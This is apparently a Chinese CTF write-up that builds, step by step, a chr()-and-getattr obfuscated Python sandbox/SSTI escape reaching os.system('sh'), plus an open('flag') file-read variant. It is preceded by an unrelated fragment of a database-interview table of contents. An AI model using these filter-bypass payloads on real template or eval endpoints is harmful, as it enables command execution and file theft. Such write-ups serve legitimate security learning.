目錄 事務的四大特性? 資料庫的三大範式 事務隔離級別有哪些? 生產環境資料庫一般用的什麼隔離級別呢? 編碼和字元集的關係 utf8和utf8mb4的區別 什麼是索引? 索引的優缺點? 索引的作用? 什麼情況下需要建索引? 什麼情況下不建索引? 索引的數據結構 Hash索引和B+樹索引的區別? 為什 ...
查看附件
可以看到,這次過濾挺多重要的字元,比如\,'等字元,還過濾的字母i和b,這道題可通過python模板註入:(ssti註入)
# 下麵是漸變過程
().__class__.__base__.__subclasses__()
getattr(().__class__, '__base__').__subclasses__()
getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)).__subclasses__()
getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), '__subclasses__')()
getattr(getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()
().__class__.__base__.__subclasses__()可通過返回的值找到os庫,然後就是getattr函數和chr()配合一起繞過字母的限制,輸入第四句代碼後,會給我返回很多東西,os在倒數第四個
然後就可以構造payload ().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')
再來一步替換getattr(getattr(getattr(getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4], chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)), chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(115)+chr(104))
即可getshell
其實這邊的原理我也不是很懂,但是感覺這是偏模版化的,記住就行
接下來還有一個更簡潔的方法,但是有局限性,就是得知道文件名和路徑
就是用open函數,因為題目沒有禁這個函數
可以輸入open('flag').read())
替換就是open(chr(102)+chr(108)+chr(97)+chr(103)).read()